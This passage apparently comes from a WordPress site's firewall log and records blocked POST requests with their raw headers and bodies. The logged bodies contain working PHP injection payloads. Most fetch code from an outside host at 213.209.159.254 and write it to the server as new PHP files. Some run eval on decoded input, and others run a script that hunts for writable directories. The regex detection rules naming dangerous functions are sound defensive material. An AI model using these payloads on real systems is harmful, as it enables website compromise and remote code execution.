%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 16:00:26","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wa:%3C%3Fphp%20%20file_put_contents%28%27write.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/SIUNKNaUGS%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:168\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-fetch-user:?1\n\nwa=%3C%3Fphp%20%20file_put_contents%28%27write.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/SIUNKNaUGS%27%29%29%3B"]
["2026-05-12 16:01:06","121.200.216.56","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xk:%3C%3Fphp%20%20file_put_contents%28%27view.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ZVEmBjsnBW%27%29%29%3B","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:167\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\n\nXk=%3C%3Fphp%20%20file_put_contents%28%27view.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ZVEmBjsnBW%27%29%29%3B"]
["2026-05-12 16:01:14","92.205.188.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ug:%3C%3Fphp%20%20file_put_contents%28%27auctionoffers.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/dThqxlXIXU%27%29%29%3B","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:176\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\n\nUg=%3C%3Fphp%20%20file_put_contents%28%27auctionoffers.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/dThqxlXIXU%27%29%29%3B"]
["2026-05-12 16:01:56","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ws:%3C%3Fphp%20%20file_put_contents%28%27verify_old.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/gdUpAZdmjq%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:173\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\n\nws=%3C%3Fphp%20%20file_put_contents%28%27verify_old.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/gdUpAZdmjq%27%29%29%3B"]
["2026-05-12 16:02:28","23.106.46.175","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pl:%3C%3Fphp%20%20file_put_contents%28%27random.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/zGYHGWowES%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:169\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHTjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\n\nPl=%3C%3Fphp%20%20file_put_contents%28%27random.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/zGYHGWowES%27%29%29%3B"]
["2026-05-12 16:02:29","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27newUser.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/DSOJErDeoZ%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:193\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27newUser.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/DSOJErDeoZ%27%29%29%3B\"));"]
["2026-05-12 16:17:15","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> yl:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3339\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nyl=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:17:55","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> dl:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3339\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\ndl=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B